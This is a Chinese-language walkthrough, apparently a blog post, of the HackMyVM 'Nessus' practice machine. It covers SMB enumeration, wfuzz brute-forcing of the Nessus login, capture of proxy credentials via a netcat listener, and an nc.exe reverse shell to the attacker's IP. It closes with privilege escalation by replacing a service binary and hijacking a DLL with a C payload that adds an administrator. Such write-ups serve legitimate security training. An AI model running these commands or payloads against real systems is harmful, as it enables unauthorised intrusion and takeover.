HackMyVm-Nessus :简单

6.1 端口扫描

图片[1]-HackMyVm-Nessus :简单-泷羽Sec

6.2 漏洞扫描

nmap -sS -p 135,139,445,5985,8834 192.168.53.238 -T4 -A --script=vuln

图片[2]-HackMyVm-Nessus :简单-泷羽Sec

在访问这个端口的时候,提示你需要使用https访问

图片[3]-HackMyVm-Nessus :简单-泷羽Sec

那就使用https访问,没有账号密码,登录不进去

图片[4]-HackMyVm-Nessus :简单-泷羽Sec

6.3 查看smb服务

尝试免密连接smb服务,可以正常连接,并且里面有两个PDF

图片[5]-HackMyVm-Nessus :简单-泷羽Sec

看看什么内容

My Basic Network Scan_hwhm7q.pdf

图片[6]-HackMyVm-Nessus :简单-泷羽Sec

Web Application Tests_f6jg9t.pdf

图片[7]-HackMyVm-Nessus :简单-泷羽Sec

发现作者信息,jose

exiftool [pdf]

图片[8]-HackMyVm-Nessus :简单-泷羽Sec

6.4 爆破Nessus后台

前面已经发现了,smb是可以免密登录的,那么现在就只有nessus爆破了,来到nessus登录界面,抓包,添加爆破的payload

图片[9]-HackMyVm-Nessus :简单-泷羽Sec

根据这些数据包,使用wfuzz进行爆破因为要用到kali中的rockyou.txt字典(也可以将rockyou.txt传到本机windows进行爆破)

wfuzz -c -z file,/usr/share/wordlists/rockyou.txt \
-X POST \
-H "Host: 192.168.53.238:8834" \
-H "X-Api-Token: 4c746180-a399-4abd-a9a0-49055fac236f" \
-H "Content-Type: application/json" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" \
-H "Origin: https://192.168.53.238:8834" \
-H "Referer: https://192.168.53.238:8834/" \
-d '{"username":"jose","password":"FUZZ"}' \
--hc 401,403 \
-f result.txt,raw \
https://192.168.53.238:8834/session

图片[10]-HackMyVm-Nessus :简单-泷羽Sec

得到密码,tequiero

图片[11]-HackMyVm-Nessus :简单-泷羽Sec

当前nessus版本为10.7.3,应该是比较新的,没有什么漏洞,或者漏洞没有公开(去网上搜了下,可能有一个本地提权漏洞,但是exp没有公开)

图片[12]-HackMyVm-Nessus :简单-泷羽Sec

6.5 盗取认证信息

来到代理界面,尝试查看源码查看密码,查看失败

图片[13]-HackMyVm-Nessus :简单-泷羽Sec

那么就利用代理,发送数据包到kali中,看看有没有密码出现,kali记得开nc

图片[14]-HackMyVm-Nessus :简单-泷羽Sec

kali得到的信息,没有密码信息

图片[15]-HackMyVm-Nessus :简单-泷羽Sec

一个一个切换,当我切换到basic这个内容

图片[16]-HackMyVm-Nessus :简单-泷羽Sec

nc接收到的数据包如下,发现一段密文

图片[17]-HackMyVm-Nessus :简单-泷羽Sec

得到认证信息,解密后就是账号密码

nesus:Z#JuXH$ph-;v@,X&mV)

图片[18]-HackMyVm-Nessus :简单-泷羽Sec

得到账号密码,和之前那个靶机一样,需要修改登录的密码,这个已经过期了

nxc smb 192.168.53.238 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'

图片[19]-HackMyVm-Nessus :简单-泷羽Sec

6.6 近源攻击!!

按两次Esc键,来到选择账户界面

图片[20]-HackMyVm-Nessus :简单-泷羽Sec

修改你的账号密码

图片[21]-HackMyVm-Nessus :简单-泷羽Sec

修改密码为123456,登录smb,发现什么也没有

图片[22]-HackMyVm-Nessus :简单-泷羽Sec

6.7 远程连接

那就来到5985端口,执行命令成功!

evil-winrm -i 192.168.53.238 -u nesus -p 123456

图片[23]-HackMyVm-Nessus :简单-泷羽Sec

6.8 反弹shell

这里我尝试了各种msf的木马,都被杀软给杀了,无意间使用nc的时候就不会被杀,使用nc进行反弹shell(kali记得开监听)

图片[24]-HackMyVm-Nessus :简单-泷羽Sec

./nc.exe 192.168.53.51 1234 -e cmd

图片[25]-HackMyVm-Nessus :简单-泷羽Sec

6.9 提权

6.9.1 local_exploit_suggester提权

打开msf(这一步其实很多余,这样子是扫不出来的,基本只有后渗透模块meterperter才能使用)

msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)

# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行

use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块
set session 3 # 设置反弹成功的会话id为3,使用 sessions 即可查看所有的会话id

图片[26]-HackMyVm-Nessus :简单-泷羽Sec

6.9.2 PrivescCheck提权

内网常见的提权和信息收集文章参考:

https://www.cnblogs.com/Hekeats-L/p/16879325.html

工具链接:

https://github.com/itm4n/PrivescCheck/releases/tag/2025.10.06-1

upload PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck

图片[27]-HackMyVm-Nessus :简单-泷羽Sec

有一个高危的提权漏洞

图片[28]-HackMyVm-Nessus :简单-泷羽Sec

看看文件信息

图片[29]-HackMyVm-Nessus :简单-泷羽Sec

每一项描述如下(如果您精通linux提权的话,将会和linux进行类比)

Name 服务的 “内部名字”(操作服务时用,比如启停服务) nginx 服务的内部名就是 “nginx”(用systemctl restart nginx时的名字) 后续想重启这个服务,要用到这个名字
DisplayName 服务的 “显示名字”(在 Windows 服务面板里看到的名字,方便你找到它) nginx 在 Linux 里的显示名可能是 “nginx – high performance web server” 确认你改的是对的服务,别改错了
User 这个服务是用 “LocalSystem” 权限运行的(Windows 里的最高权限,比管理员还高) 类比 Linux 里用 “root” 用户运行的 nginx 服务 提权的关键!服务跑在最高权限,改了它的程序就能拿最高权限
ImagePath 服务启动时会执行的 “核心 exe 文件路径”(就是你要替换的那个文件) 类比 Linux 里 nginx 守护进程的路径/usr/sbin/nginx 目标文件!把这个 exe 换成恶意程序就行
StartMode 服务是 “自动启动” 的(开机或服务崩溃后会自己重启) 类比 Linux 里systemctl enable nginx(开机自启) 替换文件后不用手动触发,重启机器 / 服务就会执行恶意程序
Type 服务是 “独立进程”(启动时只跑这个 exe,不依赖其他程序) 类比 Linux 里 nginx 是独立进程(`ps aux grep nginx` 能看到单独的进程)
RegistryKey/Path 服务在 Windows 注册表中的配置路径(不用管,提权用不上) 类比 Linux 里 nginx 的配置文件路径/etc/nginx/nginx.conf(但这里是注册表,不用管) 次要信息,不用关注
Status 服务当前状态(空,因为前面警告没查到) 类比 Linux 里systemctl status nginx报错,看不到 “active” 还是 “inactive” 后续手动用命令查就行,不影响提权
UserCanStart 你当前用户 “不能手动启动这个服务” 类比 Linux 里普通用户不能systemctl start nginx 没关系,能重启机器或杀进程间接触发
UserCanStop 你当前用户 “不能手动停止这个服务” 类比 Linux 里普通用户不能systemctl stop nginx 没关系,用taskkill(类比 Linux 的 kill)杀进程就行
ModifiablePath 你能修改的文件路径 —— 就是上面说的那个要替换的 exe(nessus-service.exe) 类比 Linux 里ls -l /usr/sbin/nginx显示你有 w 权限,能改这个文件 明确告诉你 “要改哪个文件”
IdentityReference 拥有这个修改权限的用户 —— 就是你当前的 “NESSUS\nesus” 用户 类比 Linux 里ls -l /usr/sbin/nginx显示 “ubuntu rwx”(你的用户有权限) 确认 “是你自己有这个改文件的权限”
Permissions 你的权限是 “完全控制”(能改、能删、能替换这个 exe,想干嘛干嘛) 类比 Linux 里的 “rwx” 权限,尤其是 “w”(写入)权限  

总结一下:你当前的nesus用户,能完全控制一个叫Tenable Nessus的服务 —— 这个服务是用 Windows 最高权限(LocalSystem,类比 Linux root)运行的,启动时会执行nessus-service.exe。而且这个服务是开机自动启动的,你只要把nessus-service.exe换成恶意程序,下次服务启动(重启机器 / 杀进程),恶意程序就会用最高权限跑起来 —— 和你在 Linux 里替换 root 运行的/usr/sbin/nginx、重启后拿 root 权限,完全一样。

cd "C:\Program Files\Tenable\Nessus\"
dir

图片[30]-HackMyVm-Nessus :简单-泷羽Sec

原来是可以利用直接替换这个应用程序进行提权,但是这里,杀软会查杀掉我们的msf马,要么你有能力过这个windows defender

当然也可以使用nc,但是nc是一个应用程序,需要选用参数,而不是直接执行,就能上线msf或者kali的nc的,需要使用批处理也就是.bat

# kali
echo "C:\Users\nesus\Documents\nc.exe 192.168.53.51 4444 -e cmd.exe" > nessus-service.bat

# evil-winrm
upload nessus-service.bat "C:\Program Files\Tenable\Nessus\nessus-service.exe"

图片[31]-HackMyVm-Nessus :简单-泷羽Sec

这里漏掉了一个关键(你需要杀死它的进程,让服务自动重启)

我们使用Stop-Process强制重启服务的时候报了一个错误:拒绝访问(Access is denied)

Stop-Process -Id (Get-Process -Name "nessus-service").Id -Force

图片[32]-HackMyVm-Nessus :简单-泷羽Sec

遇到 “Access denied” 是因为nessus-service进程以LocalSystem权限运行,低权限用户无法直接杀死。

如何解决?尝试更底层的taskkill

taskkill是 Windows 原生的进程杀死命令,权限处理和Stop-Process不同,先试一次:

taskkill /f /im nessus-service.exe

图片[33]-HackMyVm-Nessus :简单-泷羽Sec

照样也是拒绝访问。重启计算机也没用,那么就换一种方法,dll劫持!dll劫持!

6.10 DLL劫持

6.10.1 什么是 DLL 劫持?(类比 Linux)

1. 基础定义

DLL(Dynamic Link Library,动态链接库)是 Windows 里的 “共享代码文件”,类似 Linux 的.so文件(Shared Object)。很多程序(比如服务、软件)运行时会主动加载依赖的 DLL 文件(比如调用 DLL 里的函数)。DLL 劫持的本质是:攻击者替换 / 插入一个恶意 DLL 文件,让高权限运行的目标程序(比如 LocalSystem 权限的服务)“误加载” 我们的恶意 DLL,从而执行恶意代码(相当于 Linux 里用LD_PRELOAD强制 root 进程加载恶意.so文件)。

2. 类比 Linux 场景

你在 Linux 里想提权时,可能会用LD_PRELOAD=/tmp/malicious.so /usr/bin/root_program,强制 root 运行的root_program加载你的恶意.so文件,.so里的代码会以 root 权限执行。Windows DLL 劫持和这个逻辑完全一样:让 LocalSystem 权限的Tenable Nessus服务,加载你写的恶意legacy.dll,DLL 里的代码会以 LocalSystem 权限执行。

6.10.2 DLL 劫持提权过程

1、查权限

icacls "C:\Program Files\Tenable\Nessus\*.dll" 是 Windows 中用来查看指定目录下所有dll文件 / 子目录权限的命令,作用类似 Linux 里的 ls -l /path/*.dll(查看某个目录下所有文件的权限详情)。

icacls "C:\Program Files\Tenable\Nessus\*.dll"

为什么要使用这条命令?

确认你当前用户(nesus)对服务依赖的 DLL 文件(比如legacy.dll)有写入 / 替换权限

从之前的权限结果看,nesus对这些 DLL 有F(完全控制)权限 —— 相当于 Linux 里用ls -l /usr/lib/root_program_dep.so看到普通用户有w权限,满足 “能替换文件” 的前提。

图片[34]-HackMyVm-Nessus :简单-泷羽Sec

权限表,和linux差不多,这里多了个修改还有删除,linux中只有rwx

符号 权限说明 对应操作
F 完全控制 读取、写入、执行、删除、修改属性
M 修改 写入、删除(需配合F
RX 读取和执行 查看内容、运行程序
R 只读 查看内容
W 写入 修改内容(需目录权限)
D 删除 删除文件或子目录

2、编写恶意 DLL 代码

在网上找到一个脚本,这是一个基础的恶意 DLL,核心逻辑在DLLMain函数里:

/*
DLL hijacking example
author: @cocomelonc
*/

#include

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // 程序加载DLL时触发(关键分支)
system("cmd.exe /k net localgroup administrators nesus /add"); // 恶意命令:把nesus加入管理员组
break;
case DLL_PROCESS_DETACH: // 其他分支(进程卸载、线程创建/销毁)暂不用管
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

关键解释

  • DLLMain是 DLL 的 “入口函数”,类似 Linux.so文件的_init函数 —— 目标程序(Nessus 服务)加载 DLL 时,会自动调用DLLMain,并触发DLL_PROCESS_ATTACH分支。
  • 恶意命令net localgroup administrators nesus /add:把nesus加入管理员组(这里是示例,实际可写反弹 shell 命令,拿到 LocalSystem 权限)。

Linux 类比:写一个恶意.so文件,在_init函数里执行system("usermod -aG sudo ubuntu"),让 root 进程加载时把普通用户加入 sudo 组。

3、编译恶意 DLL(生成 Windows 能识别的格式)

在 Kali 里用mingw编译 C 代码,生成 Windows 可加载的 DLL 文件:

# kali
x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dll

x86_64-w64-mingw32-gcc:Windows 交叉编译器(生成 64 位 Windows 程序,需和目标系统位数匹配);

-shared:生成 “共享库”(即 DLL 文件,对应 Linux 的.so);

-o legacy.dll:输出文件名为legacy.dll(必须和目标服务依赖的 DLL 同名,否则服务找不到)。

4、备份原 DLL + 上传替换(避免服务崩溃 + 植入恶意文件)

# evil-winrm
cd "C:\Program Files\Tenable\Nessus"
mv legacy.dll legacy_beifen.dll # 备份文件
upload legacy.dll # 上传你kali编译的dll文件

备份原 DLL:legacy.dll是 Nessus 服务的依赖文件,直接删除会导致服务崩溃,备份后可回滚(类似 Linux 里cp /usr/lib/libnginx_dep.so /tmp/);

上传替换:让服务下次加载legacy.dll时,加载的是你的恶意 DLL(类似 Linux 里cp /tmp/malicious.so /usr/lib/libnginx_dep.so)。

5、重启虚拟机(触发服务加载恶意 DLL)

最后重启目标机,Nessus 服务会随系统开机启动 —— 启动时会自动加载依赖的legacy.dll(此时已被替换成恶意 DLL):

  1. 服务以LocalSystem(Windows 最高权限,类比 Linux root)启动;
  2. 加载恶意legacy.dll,触发DLLMainDLL_PROCESS_ATTACH分支;
  3. 执行net localgroup administrators nesus /add,把nesus加入管理员组(实际可改为反弹 shell 命令,拿到 SYSTEM 权限);
  4. 重启后,nesus已拥有管理员权限,提权成功。

图片[35]-HackMyVm-Nessus :简单-泷羽Sec

6.10.3 DLL 劫持的核心利用条件

和 Linux.so劫持的条件类似,DLL 劫持能成功,必须同时满足以下 4 个条件(你的场景全部满足):

1. 目标程序(服务 / 软件)以高权限运行
  • 比如你的Tenable Nessus服务以LocalSystem权限运行(类比 Linux 里 root 运行的nginx)。
  • 若目标程序是普通用户权限,即使劫持成功,也只能拿到普通权限,无法提权。
2. 你对目标程序加载的DLL 文件有写入 / 替换权限
  • 你的icacls结果显示,nesuslegacy.dllF(完全控制)权限,能备份、删除、替换该 DLL(类比 Linux 里普通用户对/usr/lib/libnginx_dep.sow权限)。
  • 若只有只读权限(RX),无法替换 DLL,劫持失败。
3. 目标程序会主动加载该 DLL 文件
  • legacy.dllTenable Nessus服务的 “依赖 DLL”—— 服务启动时必须加载它才能正常运行(类比 Linux 里nginx必须加载libnginx_dep.so)。
  • 若目标程序不加载该 DLL,即使替换了也没用(比如替换一个无关的 DLL 文件)。
4. 恶意 DLL 能被目标程序成功加载
  • 恶意 DLL 的格式要正确(比如 32 位 / 64 位和目标程序匹配,你用x86_64编译对应 64 位系统);
  • 若目标程序需要 DLL 导出特定函数(比如LoadLibrary调用的函数),恶意 DLL 需包含这些导出函数(你的示例是基础DLLMain,满足简单加载需求)。
  • 类比 Linux 里恶意.so需符合 ELF 格式,否则无法被nginx加载。

6.10.4 总结

找到一个 “高权限运行、且依赖的 DLL 你能替换” 的程序(比如服务),用恶意 DLL 替换原 DLL,让高权限程序执行恶意代码,从而拿到高权限

往期推荐

全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细

HackMyVm-DC04 :简单

HackMyVm-DC03 :简单

HackMyVm-DC02 :简单

HackMyVm-DC01 :简单

HackMyVm-TriplAdvisor :简单

HackMyVm-Runas :简单

HackMyVm-Always :简单

HackMyVm-Nessus :简单

HackMyVm-Liar :简单

HackMyVm-Simple :简单

HackMyVm-Simple :简单

HackMyVm-Zero :简单

HackMyVm-OMG :简单

新版BurpSuite v2025.6.3汉化版,附激活教程

Fine!2025最新款信息收集综合工具

若依Vue漏洞检测工具v7更新

最好用的下一代目录爆破工具,全方位的目录爆破

集成MemProcFS,Vol2和Vol3的内存取证神器

重大更新!FeatherScan v4.5 内网 linux 信息收集,提权一键梭哈神器

x-waf,一个基于fuzz的waf绕过渗透工具

这10款内网穿透工具,一定有你没用过的

红队命令速查手册

挖SRC必须知道的25个漏洞提交平台

挖SRC必须知道的25个漏洞提交平台

FeatherScan v4.0 – 一款Linux内网全自动信息收集工具

掩日-适用于红队的综合免杀工具

2025最新渗透测试靶场推荐

近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等

【内网渗透】隐藏通信隧道技术

内网渗透必备,microsocks,一个轻量级的socks代理工具

神器分享 红队快速打点工具-DarKnuclei

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

一个永久的渗透知识库

【oscp】vulnerable_docker,三种代理方法打入内网

【内网渗透】CobaltStrike与MSF联动互相上线的方式

内网渗透必备,microsocks,一个轻量级的socks代理工具

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【渗透测试】12种rbash逃逸方式总结

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

sql注入中各种waf的绕过方式,狗,盾,神,锁,宝

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

大型翻车现场,十种waf绕过姿势,仅成功一种

喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容